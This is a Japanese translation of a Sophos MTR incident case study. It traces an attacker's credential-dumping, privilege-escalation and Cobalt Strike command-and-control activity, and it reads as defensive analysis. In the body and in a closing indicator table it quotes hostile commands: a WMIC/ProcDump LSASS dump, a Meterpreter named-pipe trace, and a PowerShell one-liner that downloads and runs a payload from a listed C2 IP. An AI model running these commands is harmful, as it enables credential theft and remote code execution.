** 本記事は、MTR Casebook: An active adversary caught in the act の翻訳です。最新の情報は英語記事をご覧ください。**
カスタマープロファイル:米国に拠点を置くプロスポーツ団体、約 800 台のデバイスを保有。
Sophos Managed Threat Response (MTR) は、専門家チームが 24 時間 365 日、脅威の追跡、検出、対応を行うフルマネージド型のサービスを提供しています。
最初の手掛かり:干し草の中の針
攻撃の恐れがあるイベントを特定・追跡するために、Sophos MTR チームは、脅威インテリジェンス、機械学習、そしてオペレータがこれまで毎日脅威に対応してきた最前線での経験から編み出した複雑なルールセットを活用して、毎日何千万ものデータポイントを分析しています。
このような分析は、攻撃の痕跡となっている可能性のあるシグナルを特定することを目的として行われます。脅威の検出と対応の方法論については、こちらのブログ記事を参照してください。
このケースでは、正規の Microsoft Sysinternals ツールがシグナルとなっていました。ProcDump.exe – 通常、開発者が実行中のソフトウェアプロセスを分析し、検査できるようにそのメモリをディスクに書き込む (ダンプする) ために使用するツールです。開発者にとってこのツールは、バグが発生した原因を突き止めるのに非常に便利なものです。
この例では、ProcDump は、lsass.exe のメモリ空間をエクスポートしようとしていました。これは、24 時間 365 日体制でお客様の環境を監視している Sophos MTR オペレーションチームにとって警戒すべきアラートとなりました。
LSASS は、Microsoft Windows の Local Security Authority Subsystem Service の略称であり、セキュリティポリシーを適用したり、Windows システムへのログインを処理したりします。このプロセスのメモリをディスクに書き込むと、ユーザー名やパスワードを取り出すことができる場合があります。
Sophos MTR チームは、この攻撃の兆候を逃しませんでした。誰かが認証情報を盗み出そうとしていたのです。
パスワード、ハッシュ、セキュリティトークンなどを窃取することに特化したツール Mimikatz について聞いたことがないでしょうか。Mimikatz は、多くのセキュリティ製品で検出されることから、サイバー攻撃者はこのツールの使用を避けることがあります。しかし、ProcDump は、Mimikatz とは異なり、攻撃以外の正規の利用目的があることから、セキュリティベンダーによって検出されることはほとんどありません。
つまり、誰かが検出を回避しようとしていたのです。
調査の開始
このシグナルが発生した瞬間にインシデントケースが作成され、Sophos MTR のオペレータが直ちに調査を開始しました。
認証情報の窃取は未遂に終わる
ソフォスのオペレータは、ソフォスのエージェントが収集した履歴データを調べ、このシグナルが検出された原因となったプロセスを特定しました。プロセスは次のコマンドを起動しようとしていました。
C:\Windows\system32\cmd.exe /C wmic /node:"SERVER NAME" process call create "C:\PerfLogs\procdump.exe -accepteula -ma lsass C:\PerfLogs\lsass.dmp"
このコマンドは、Windows のコマンドラインインタプリタである cmd.exe が WMIC (Windows Management Instrumentation のインターフェース) を試行していることを示しています。WMI は、ローカルおよびリモートのシステムとやりとりし、情報を取得したり、命令を送信したりするツールです。
リモートサーバー (実際のサーバー名を伏せるために SERVER NAME に再編集しています) を呼び出したこのコマンドは、サーバーで ProcDump を実行して LSASS プロセスのメモリをディスクに書き込むように指示していました。
MTR のオペレータは、lsass.dmp (LSASS プロセスのダンプ) がディスクに書き込まれた証拠を発見できず、Sophos Central のテレメトリを確認したところ、ソフォスの認証情報窃取の防止テクノロジーがこの攻撃者による窃取を阻止していたことがわかりました。
しかし、この命令はどこから送られてきたのでしょうか?
特権昇格も未遂に終わる
MTR のオペレータは、cmd.exe の親プロセス (cmd.exe を実行したプロセス) を特定するためにプロセスツリーをさかのぼり、svchost.exe を検出しました。svchost.exe はリソースの消費を低減するために数多くのサービスを単一のプロセスで共有する Windows サービスホストです。
svchost の同じインスタンスは、次のように別の子プロセスも生成していました。
C:\Windows\system32\cmd.exe /c echo 4d6b1c047b2 > \\.\pipe\8eaee7
素人目には、上記のコマンドに悪意があるようには見えないでしょう。しかし、これは Meterpreter の GetSystem 関数で多く検出される攻撃の痕跡の 1 つです。
Meterpreter は、サイバー攻撃者がホストとコマンドラインでインタラクティブにやりとりできるようにするペイロードです。GetSystem は Meterpreter に組み込まれたスクリプトであり、攻撃者が名前付きパイプ (プロセス間の通信を可能にするテクノロジー) になりすまして完全なシステム権限を取得できるようにするものです。
幸いなことに、この攻撃者が利用しようとしていた名前付きパイプは、このシステムには存在しておらず利用されていませんでした。
コマンドアンドコントロール
攻撃者は Meterpreter を使用していたので、セキュリティが侵害されたホストにリモートからコマンドを送信するために、何らかのネットワーク接続が必要であったはずです。
ネットワークのログを調べてみると、ブルガリアにある IP アドレス 217.12.202.89 に対して、ネットワークポート 443 からアウトバウンド接続が大量に実行されていたことがわかりました。
ポート 443 は通常、Web サイトに安全に接続するために HTTPS が有効になっている場合に使用されます。攻撃者は一般的にこのポートを使用して、正規の Web トラフィックに自身の通信を隠します。
この問題を特定できたことから、ブルガリアを拠点とするこの IP の調査が始まりました。インターネットに接続していたポートの 1 つが 50050 ポートです。このポートは、IANA に登録できないエフェメラルポートであり、広く使用されているネットワークサービスで使用される一般的なポートではありません。しかし、MTR のオペレータはこのポートは過去に何度も確認しています。
ポート 50050 は、Cobalt Strike のリスニングサーバーでデフォルトで使用されているリスニングポートです。Cobalt Strike は、一般的に不正侵入のテストを実行する組織向けに販売されている「脅威エミュレーション」ツールであり、サイバー犯罪者による攻撃を容易にエミュレーションして、セキュリティ侵害に対するリスクを組織が確認するために利用できます。
しかし、サイバー攻撃者もこのツールを悪用しており、組織に対して本当の攻撃を仕掛けるために使用しています。
お客様への通知
MTR オペレータは、最初のシグナルを検知してからわずか数分後に初期調査を完了し、悪意のある攻撃であることを確信しました。
Sophos MTR は、3 つの応答モードを提供しており、お客様はいつでも切り替えることが可能です。
通知モード – ソフォスは脅威を特定および調査し、その結果をお客様に通知し、お客様のチームが脅威に対応するための推奨事項を提供します。
コラボレーションモード – ソフォスは脅威を特定および調査し、お客様のチームと Sophos MTR チームが責任を分担して、共同して脅威に対応します。
オーサライズモード – ソフォスは脅威を特定および調査して、さらにその対応も担います。プロアクティブに対応し、検出された脅威の内容とその脅威に対応するために何をしたのかをお客様に報告します。
このインシデントでは、このお客様は、通知モードで MTR を利用していました。MTR のオペレータは電話でこのお客様に連絡し、検出された脅威について伝え、調査を継続する前に、特定された問題に対してすぐに何をするべきかを提案しました。
MTR のオペレータは、検出した脅威と、攻撃者が利用していたユーザーアカウントをこのお客様と共有しました。攻撃者によるアクセスを無効にするために、これらのアカウントのパスワードも直ちにリセットする必要がありました。また、問題を通知する電話だけでなく、お客様が対策を実施するときに参照できるよう、このインシデントのすべての詳細情報をメールでも提供しました。
ハンティングの続行
お客様が侵害されたアカウントのパスワードをリセットしているときに、MTR のオペレータはこのお客様のネットワークで攻撃者が何かをしていたかを追跡し続けました。この時点では、侵入の方法を示す証拠は見つかっていませんでした。
また、今回のケースでは、MTR オペレータとお客様との定期的なコミュニケーションは、すべてメールで行われていました。
クラウドに潜むリスク
侵害されたホストのネットワークトラフィックをさらに詳しく分析すると、このホストと、顧客の仮想プライベートクラウド (VPC) にある別のホストとの間で HTTPS トラフィックが発生していました。
MTR のオペレータは、VPC にあるサーバーのログを調査したところ、GetSystem を試行していること、そして、名前付きパイプのなりすましを特定しました。しかし、特定されたすべての証拠は、セキュリティが侵害されていることがすでにわかっているホストを示していました。
また、PowerShell (タスク自動化のために Windows に組み込まれるスクリプト言語) コマンドの実行も確認されました。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh'))"
この 1 行のコマンドは、URL にアクセスし、ペイロードをダウンロードして実行するものです。この URL は、MTR チームが Cobalt Strike がオープンポートからアクセスしていたのと同じブルガリアの IP を指していました。
SophosLabs
MTR のオペレータは、ソフォスの脅威分析、インテリジェンス、調査研究部門である SophosLabs にすぐに連絡しました。MTR のオペレータは、SophosLabs と上記のコマンドを共有して、この URL でホストされているペイロードを分析するように依頼しました。数分後、SophosLabsは、分析結果を Sophos MTR に返しました。
残念ながら、問題のペイロードはすでに存在していませんでした。攻撃者が使用した後すぐに削除されたと考えられます。SophosLabs は、ソフォスのすべての製品とサービスを支えているクラウドインテリジェンスプラットフォームにこの IP と URLを追加し、この C2 サーバーが今後使用された場合には、ソフォスのすべての顧客が検出してブロックできるようにしました。
初期アクセスの特定
最後に、MTR のオペレータは、攻撃の起点となった場所を特定しました。引き続き VPC サーバーのログを解析したところ、VPC 内で不明なホストへの RDP (リモートデスクトッププロトコル) 通信が確認されました。この不明なホストは、Sophos MTR が管理しているものでも、このお客様の Sophos Central アカウントに存在しているものでもありませんでした。
MTR のオペレータは、この不明なホストが管理されていない理由を確かめるために、お客様に連絡しました。
このお客様は、このホストを正しく無効にしていなかったようです。この攻撃者は、最初に侵害したホストから別のホストへとラテラルムーブメントを行い、PowerShell コマンドを実行していました。これにより、RDP からアクセスできなくなった場合でも、新しいホストにリモートからアクセスできるようになりました。
これは攻撃者な高度な戦略であり、まさにこのシナリオの通りになりました。
RDP サーバーは、インターネットに接続していることが多く、ネットワークに侵入しようとする攻撃者の格好の標的となっています。一度内部に侵入してしまえば、RDP によるリモートアクセスは検出されやすい方法となります。画面でその動作が表示される場合があり、行動が気づかれるきっかけとなることがあります。
攻撃者が最初に行うことは、ラテラルムーブメントによって別のホストにアクセスし、リバースシェルをインストールすることです。これにより、そのホストから攻撃者への通信を確立し、コマンドラインにアクセスできるようにします。コマンドラインを使用する方法は、リモートアクセスの方法としては RDP と比較してはるかにステルス性が高く、ユーザーがログインしてホストを使用している間でも、バックグラウンドで処理されるため、防御側に気づかれる可能性が低くなります。
この攻撃者の目的は不明なままです。MTR のオペレータは、攻撃者が最終的な目的を達成する前のはるかに前の段階で攻撃を特定し、ネットワークのラテラルムーブメントや権限昇格を試みていた攻撃者を捕捉しました。
調査の後、MTR のオペレータは、この特定の脅威についてお客様の環境を 7 日間監視し続けましたが、それ以降は悪意のある、あるいは攻撃が疑われる活動は確認されませんでした。
MTR チームは、その後、この攻撃者がネットワークから正常に排除されたと判断しました。
これでこの問題は解決しました。
詳細情報
ソフォスの MTR サービスの詳細については、ソフォスの Web サイトまたはソフォスの担当者にお問い合わせください。
自社で脅威ハンティングを実施される場合、Sophos EDR を使用して高度な脅威ハンティングと IT セキュリティ運用に必要なツールを利用することをご検討ください。30 日間無料トライアルを今すぐにご利用いただけます。
IOA / IOC
LSASS の ProcDump | C:\Windows\system32\cmd.exe /C wmic /node:”SERVER NAME” process call create “C:\PerfLogs\procdump.exe -accepteula -ma lsass C:\PerfLogs\lsass.dmp” |
Meterpreter GetSystem | C:\Windows\system32\cmd.exe /c echo 4d6b1c047b2 > \\.\pipe\8eaee7 |
C2 IPv4 | 217.12.202.89 |
C2 ペイロードの URL | http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh |
C2 ポート (Cobalt Strike) | 50050 |
Cobalt Strikeのペイロードをダウンロードして起動する PowerShell | “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh’))” |